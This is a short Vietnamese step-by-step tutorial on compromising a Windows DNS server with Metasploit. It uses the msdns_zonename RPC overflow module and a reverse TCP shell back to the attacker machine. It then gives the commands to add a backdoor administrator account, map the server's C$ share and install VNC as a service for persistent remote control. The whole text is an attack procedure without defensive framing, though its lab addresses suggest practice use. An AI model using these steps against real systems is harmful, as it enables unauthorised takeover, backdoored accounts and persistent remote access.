Khai thác DNS server với Metasploit
Các bước khai thác DNS server với Metasploit
-Cài đặt và chạy chương trình Metasploit tại máy 10.100.100.100 để bắt đầu khai thác DNS Server tại địa chỉ 10.100.100.250
Double click lên dòng
msdns_zonename Microsoft DNS RPC Service extractQuotedChar() Overflow (TCP)
-Chọn hệ điều hành
-Chọn kiểu lấy shell là window/shell_reverse_tcp
-Nhập địa chỉ ip của DNS server,trong trường hợp này là 10.100.100.250
-Xem lại thông tin => Apply để bắt đầu khai thác
-Nếu khai thác thành công ta sẽ lấy được shell của máy DNS server
-R-click => Interact Session để lấy shell
-Giao diện shell của DNS server sau khi bị khai thác
-Tao user ten admin sau đó add vao group administrators
net user admin p@ssw0rd /add
net localgroup administrators admin /add
-Trên máy 10.100.100.100 sử dụng lệnh :
net use H: \\10.100.100.250\C$ /user:admin p@ssw0rd để map ổ đĩa C$ trên DNS server về máy 10.100.100.100
-Copy thư mục VNC lên ổ đĩa H: mới map về ,với nội dung của file install.bat như sau
winvnc4 –register -đằng ký vnc chạy như 1 dịch vụ
winvnc4 –start -khởi chạy vnc
regedit /s vncpass.reg –import file vncpass.reg để cấu hình mật khẩu cho vnc
-Chạy file install.bat để trên shell có được trên DNS server
-Trên máy 10.100.100.100 chạy vncviewer để bắt đầu điều khiển
Tks
